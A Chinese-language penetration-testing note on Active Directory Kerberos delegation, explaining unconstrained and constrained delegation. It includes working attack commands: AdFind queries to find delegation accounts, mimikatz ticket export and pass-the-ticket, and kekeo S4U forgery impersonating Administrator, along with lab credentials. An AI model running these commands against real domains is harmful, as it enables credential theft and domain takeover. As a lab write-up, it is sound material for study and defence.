域控-笔记三（非约束委派攻击，约束委派攻击）

一. 域委派

1.1 域委派分类

1. 非约束委派（Unconstrained delegation）
   服务账号可以获取被委派用户的TGT，并将TGT缓存到LSASS进程中，从而服务账号可使用该TGT，模拟用户访问任意服务。配置了非约束委派的账户的userAccountControl 属性有个FLAG位 WORKSTATION_TRUSTED_FOR_DELEGATION。非约束委派的设置需要SeEnableDelegation 特权，该特权通常仅授予域管理员 。
2. 约束委派（Constrained delegation）
   由于非约束委派的不安全性，微软在Windows Server 2003中发布了约束性委派。对于约束性委派（Constrained Delegation），即Kerberos的两个扩展子协议 S4u2self (Service for User to Self) 和 S4u2Proxy (Service for User to Proxy )，服务账号只能获取用户的TGS，从而只能模拟用户访问特定的服务。配置了约束委派的账户的 userAccountControl 属性有个FLAG位 TRUSTED_TO_AUTH_FOR_DELEGATION，并且msDS-AllowedToDelegateTo 属性还会指定对哪个SPN进行委派。约束委派的设置需要SeEnableDelegation 特权，该特权通常仅授予域管理员 。
3. 基于资源的约束委派（Resource Based Constrained Delegation）
   为了使用户/资源更加独立，微软在Windows Server 2012中引入了基于资源的约束性委派。基于资源的约束委派不需要域管理员权限去设置，而把设置属性的权限赋予给了机器自身。基于资源的约束性委派允许资源配置受信任的帐户委派给他们。基于资源的约束委派只能在运行Windows Server 2012和Windows Server 2012 R2及以上的域控制器上配置，但可以在混合模式林中应用。配置了基于资源的约束委派的账户的 userAccountControl 属性为 WORKSTATION_TRUST_ACCOUNT，并且msDS-AllowedToActOnBehalfOfOtherIdentity 属性的值为被允许基于资源约束性委派的账号的SID。

域委派是指将域内用户的权限委派给服务账号，使得服务账号能以用户的权限在域内展开活动

1.2 使用委派条件

需要被委派的用户未设置不允许被委派

1.3 非约束委派原理

非约束委派：

• 当服务账号或者主机被设置为非约束性委派时，其userAccountControl属性会包含TRUSTED_FOR_DELEGATION

• 当服务账号或者主机被设置为约束性委派时，其userAccountControl属性包含TRUSTED_TO_AUTH_FOR_DELEGATION，且msDS-AllowedToDelegateTo属性会包含被约束的服务

发现域中委派的用户或计算机一般使用的手段是通过LDAP协议（LightweightDirectory Access Protocol）然后通过userAccountControl属性筛选出符合的用户或计算机，我们可以通过ADSI（ActiveDirectory Service Interfaces Editor）来编辑和修改LDAP，adsiedit.msc可以打开ADSI编辑器，打开之后我们找到一个设置了非约束委派的用户，可以看到userAccountControl属性包含了TRUSTED_FOR_DELEGATION

1.4 非约束委派流程

域用户通过 kerberos 身份验证访问web服务器，请求下载文件，但真正的文件在文件服务器上于是，web服务器的服务账户模拟域用户以 kerberos 协议继续认证到文件服务器。文件服务器将文件返回给web服务器，web服务器在将文件返回给域用户，这样，就完成了一个委派流程。

1. 域用户以 kerberso 身份验证访问 Web服务器，请求下载文件。
2. Web服务是服务账户，无法请求文件，所以此服务账户向 KDC（密钥分发中心） 发起 域用户的用户票据请求。
3. KDC检查服务账户的委派属性，如果被设置，就返回域用户可转发TGT认购权证。
4. Web服务器收到域用户的 TGT 认购权证后，使用该 TGT 向KDC申请访问文件服务器的 ST 票据。
5. KDC 再次检查委派属性，如果申请文件服务在允许列表里，返回给服务账户 ST 票据
6. 服务账户收到 ST 票据后，用该 ST 票据访问文件服务器，完成委派认证。

在域中，只有服务账户 和 主机账户具有 委派属性

• 主机账户（机器账户）：指AD活动目录中computers中的计算机
  
• 服务账户（Service Account）：是域内用户的一种类型，是服务器运行服务时所用的账户。
  比如：sqlserver安装时，会在域内注册服务账户（SqlServiceAccount）。或者另外一种方式，通过注册 SPN 把一个域用户变为 服务账户

1.5 约束委派原理

约束委派：
同样它的userAccountControl属性包含了TRUSTED_TO_AUTH_FOR_DELEGATION，但是它比非约束委派的用户多了一个msDS-AllowedToDelegateTo属性，里面包含了允许委派的服务

由于非约束委派的不安全性（配置了非约束委派的机器在 LSASS 中缓存了用户的 TGT 票据可模拟用户去访问域中任意服务），微软在 Windows Server 2003 中引入了约束委派，对 Kerberos 协议进行拓展，引入了 S4U (S4U2Self / S4U2proxy), 运行服务代表用户向 KDC 请求票据。

• S4U2self (Service for User to S4U2Self) 可以代表自身请求针对其自身的 Kerberos 服务票据(ST)；如果一个服务账户的 userAccountControl 标志为 TRUSTED_TO_AUTH_FOR_DELEGATION, 则其可以代表任何其他用户获取自身服务的 TGS/ST。
• S4U2proxy(Service for User to Proxy) 可以以用户的名义请求其它服务的 ST，限制了 S4U2proxy 扩展的范围。服务帐户可以代表任何用户获取在 msDS-AllowedToDelegateTo 中设置的服务的 TGS/ST，首先需要从该用户到其本身的 TGS/ST，但它可以在请求另一个 TGS 之前使用 S4U2self 获得此 TGS/ST。

不同于允许委派所有服务的非约束委派，约束委派的目的是在模拟用户的同时，限制委派机器/帐户对特定服务的访问。

1.6 约束委派流程

S4U2self：

(1) 用户向 service1 发送请求。用户已通过身份验证，但 service1 没有用户的授权数据。通常，这是由于身份验证是通过 Kerberos 以外的其他方式验证的。

(2) 通过 S4U2self 扩展以用户的名义向 KDC 请求用于访问 service1 的 ST1。

(3) KDC 返回给 service1 一个用于用户验证 service1 的 ST1，该 ST1 可能包含用户的授权数据。

(4) service1 可以使用 ST 中的授权数据来满足用户的请求，然后响应用户。

尽管 S4U2self 向 service1 提供有关用户的信息，但 S4U2self 不允许 service1 代表用户发出其他服务的请求，这时候就轮到 S4U2proxy 发挥作用了。

S4U2proxy:

(5) 用户向 service1 发送请求，service1 需要以用户身份访问 service2 上的资源。

(6) service1 以用户的名义向 KDC 请求用户访问 service 2的 ST2。

(7) 如果请求中包含 PAC，则 KDC 通过检查 PAC 的签名数据来验证 PAC ，如果 PAC 有效或不存在，则 KDC 返回 ST2 给 service1，但存储在 ST2 的 cname 和 crealm 字段中的客户端身份是用户的身份，而不是 service1 的身份。

(8) service1 使用 ST2 以用户的名义向 service2 发送请求，并判定用户已由 KDC 进行身份验证。

(9) service2 响应步骤 8 的请求。

(10) service1 响应用户对步骤 5 中的请求。

如果我们可以攻破配置约束委派的服务账户(获取密码/Hash)，我们就可以模拟域内任意用户(如 domain\administrator) 并代表其获得对已配置服务的访问权限（获取 TGS 票据）

二. 委派攻击

2.1 非约束委派攻击

设置非约束主机用户（非服务用户）

创建非约束委派账户，注册SPN

setspn -U -A MSSQLSvc/mssql.wpsec.com:1433 wp

信任委派属性

本地环境

域控主机

域内主机

非约束委派的查找

AdFind

https://www.joeware.net/freetools/tools/adfind/

 Adfind 使用参数：
 AdFind [switches] [-b basedn] [-f filter] [attr list]
 -b：指定要查询的根节点
 -f：LDAP过滤条件
 attr list：需要显示的属性

查询域内非约束委派用户

AdFind.exe -b "DC=wpsec,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

模拟攻击

域控模拟访问被设置了约束委派的机器，就在win10-1上保留了凭证

可能会出现一下错误，原因是服务端或客户端服务没有启动

winrm quickconfig

Enter-PSSession -ComputerName WIN10-1

清除票据缓存

mimikatz "privilege::debug" "kerberos::purge" "exit"

导出票据

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

导入票据，访问域控

kerberos::ptt C:\Users\wp\Desktop\mimikatz_trunk\x64\[0;b04bb5]-2-0-60a10000-Administrator@krbtgt-WPSEC.COM.kirbi

2.2 约束委派攻击

约束委派只能获取每个主机服务的 ST，所以只能模拟用户访问特定的服务，是无法获取用户的TGT，如果我们能获取到开启了约束委派的服务用户的明文密码或者NTLM Hash，我们就可以伪造S4U请求，进而伪装成服务用户以任意账户的权限申请访问某服务的ST

清除票据缓存

mimikatz "privilege::debug" "kerberos::purge" "exit"

设置约束委派环境

本地环境

域控

域用户

约束委派的查找

-u 任意用户，-up 密码，-b 域， -f 委派属性

AdFind.exe -h 192.168.111.38 -u wp_s -up cqcet123!@# -b "DC=wpsec,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

模拟攻击

已经知道服务用户明文的条件下，使用kekeo请求用户 TGT

kekeo

用 kekeo 请求该用户的 TGT 命令解释：
tgt::ask /user:redteam-iis /domain:redteam.red /password:Server12345 /ticket:administrator.kirbi
/user: 服务用户的用户名
/password: 服务用户的明文密码
/domain: 所在域名
/ticket: 指定票据名称，不过这个参数没有生效，可以忽略

得到服务用户 TGT：TGT_redteam-iis@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi
使用这张 TGT 通过伪造 s4u 请求以 administrator 用户身份请求访问 AD-2008 CIFS的 ST

tgs::s4u /tgt:TGT_redteam-iis@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/AD-2008.redteam.red

S4U2Self 获取到的 ST1 以及 S4U2Proxy 获取到的 AD-2008 CIFS 服务的 ST2 会保存在当前目录下

kekeo # tgt::ask /user:wp_s /domain:wpsec.com /password:cqcet123!@#

使用这张TGT获取域机器的ST

kekeo # tgs::s4u /tgt:TGT_wp@WPSEC.COM_krbtgt~wpsec.com@WPSEC.COM.kirbi /user:Administrator@wpsec.com /service:cifs/AD.wpsec.com

导入该TGS，

参考

渗透攻击红队